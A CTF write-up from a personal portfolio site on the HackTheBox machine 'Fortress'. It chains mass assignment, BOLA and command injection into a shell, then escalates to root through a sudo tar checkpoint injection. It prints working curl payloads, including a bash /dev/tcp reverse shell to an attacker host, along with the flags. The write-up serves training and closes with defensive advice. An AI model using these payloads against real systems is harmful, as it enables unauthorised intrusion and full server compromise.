[>_] Home [>_] Services [>_] Skills [>_] Certifications [>_] Experience [>_] Education [>_] Volunteering [>_] Projects [>_] Publications [>_] Writeups [>_] Contact
CTF Writeup Intermediate

HackTheBox – Fortress: Chaining API Vulnerabilities to Admin RCE

Mass assignment + BOLA + command injection chain resulting in full server compromise.

March 12, 2026 · 10–12 min read
API Security BOLA Command Injection HackTheBox

Overview

HackTheBox Fortress presented an API-first web application with three chained vulnerabilities: mass assignment, BOLA (IDOR), and command injection — resulting in full server compromise.

Difficulty: Medium | OS: Linux

Enumeration

nmap -sV -sC 10.10.11.200 -p- --min-rate 10000

PORT   STATE SERVICE
22/tcp open  ssh   OpenSSH 8.9p1
80/tcp open  http  nginx 1.22.0

# API endpoint discovery
ffuf -u http://10.10.11.200/api/FUZZ -w api_wordlist.txt -mc 200,201,401,403

# /api/v1/auth/register  [200]
# /api/v1/users/me       [401]
# /api/v1/admin/users    [403]

Vulnerability 1: Mass Assignment

# Normal registration
curl -X POST http://10.10.11.200/api/v1/auth/register \
    -H "Content-Type: application/json" \
    -d '{"username":"hacker","email":"h@h.com","password":"P@ssw0rd"}'
# Response: {"id":42,"role":"user"}

# Inject role via mass assignment
curl -X POST http://10.10.11.200/api/v1/auth/register \
    -H "Content-Type: application/json" \
    -d '{"username":"hacker2","email":"h2@h.com","password":"P@ssw0rd","role":"admin"}'
# Response: {"id":43,"role":"admin"}  <-- role accepted!

Vulnerability 2: BOLA

import requests

BASE = "http://10.10.11.200/api/v1"
headers = {"Authorization": "Bearer <admin_token>"}

r = requests.get(f"{BASE}/admin/users", headers=headers)
users = r.json()

for user in users:
    print(f"[+] {user['id']}: {user['username']} ({user['role']})")
# Found: svc_deploy (service account with deploy_key)

Vulnerability 3: Command Injection → Shell

# Test injection in product name field
curl -X POST http://10.10.11.200/api/v1/admin/products \
    -H "Authorization: Bearer <admin_token>" \
    -d '{"name":"test; id","category":"tools"}'
# Response: {"log":"Processing: test
uid=1000(app) gid=1000(app)"}

# Reverse shell
nc -lvnp 9001

curl -X POST http://10.10.11.200/api/v1/admin/products \
    -H "Authorization: Bearer <admin_token>" \
    -d '{"name":"x; bash -i >& /dev/tcp/10.10.14.5/9001 0>&1","category":"x"}'

# Shell!
app@fortress:~$ cat ~/user.txt
HTB{m4ss_4ss1gn_b0l4_rce_ch41n}

Privilege Escalation

sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/backup.py

cat /opt/backup.py
# import os
# os.system(f"tar -czf /backups/{os.environ.get('BACKUP_NAME','backup')}.tar.gz /var/app")

# tar wildcard injection via env var
sudo BACKUP_NAME='x --checkpoint=1 --checkpoint-action=exec=bash' \
    /usr/bin/python3 /opt/backup.py

root@fortress:~# cat /root/root.txt
HTB{t4r_w1ldcard_pr1v3sc}

Conclusion

Fortress showed how three individually low-severity issues combine into a critical chain. Validate every field your server accepts — never trust that the frontend restricts what clients send.